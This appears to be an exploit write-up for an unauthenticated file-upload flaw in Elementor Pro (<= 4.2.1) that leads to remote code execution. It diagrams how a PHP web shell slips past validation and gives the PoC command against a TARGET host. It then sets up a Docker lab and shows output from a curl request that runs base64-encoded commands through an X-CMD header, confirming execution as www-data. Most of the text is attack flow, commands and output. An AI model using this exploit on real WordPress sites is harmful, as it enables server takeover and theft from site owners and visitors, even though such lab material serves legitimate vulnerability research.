Unauthenticated visitor
        │
        ▼
Elementor Form page (File Upload field)
        │
        ▼
multipart/form-data POST → admin-ajax.php
        │
        ├── part #1: empty file
        │      └─► validation(): UPLOAD_ERR_NO_FILE → return   ◄── validation STOPS here
        │
        └── part #2: shell.php
               └─► never type-checked
                       │
                       ▼
               process_field(): continue → moves the .php payload anyway
                       │
                       ▼
        wp-content/uploads/elementor/forms/<uniqid>.php
                       │
                       ▼
              GET that URL  ⇒  RCE

validation()                              process_field()
────────────                              ──────────────
foreach files as file:                    foreach files as file:
    if empty(file):                           if empty(file):
        add_error(...)                            continue          ◄─ skips only this entry
        return                                move_uploaded_file(...)  ◄─ moves the rest

// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
    return;                                   // ← aborts the whole loop
}

// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
    continue;                                 // ← only skips this entry
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // attacker-controlled extension survives
move_uploaded_file( $file['tmp_name'], $new_file );

python3 el_rce_poc.py --url http://TARGET \
    --page-url http://TARGET/upload-form/ \
    --command "id; hostname; uname -a"

Arbitrary upload primitive   →   PASS / FAIL
Filename recovery (uniqid)   →   PASS / PARTIAL
RCE confirmation             →   PASS (both above succeeded)

# 1) start WordPress + MariaDB
docker compose up -d
# wait ~30s for the DB, then install WordPress
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]

# 2) install free Elementor
docker compose run --rm wpcli wp plugin install elementor --activate

# 3) install vulnerable Elementor Pro (<= 4.2.1).
#    Elementor Pro is a paid plugin — place your legally obtained
#    elementor-pro.zip (e.g. 4.2.1) next to docker-compose.yml first:
docker compose run --rm wpcli wp plugin activate elementor-pro \
    || docker compose exec wordpress bash -c \
       "cd wp-content/plugins && unzip -o /var/www/html/epr.zip"

# 4) create the form page (the PoC repo ships setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

# 5) run the PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"

$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php

$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
    -H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c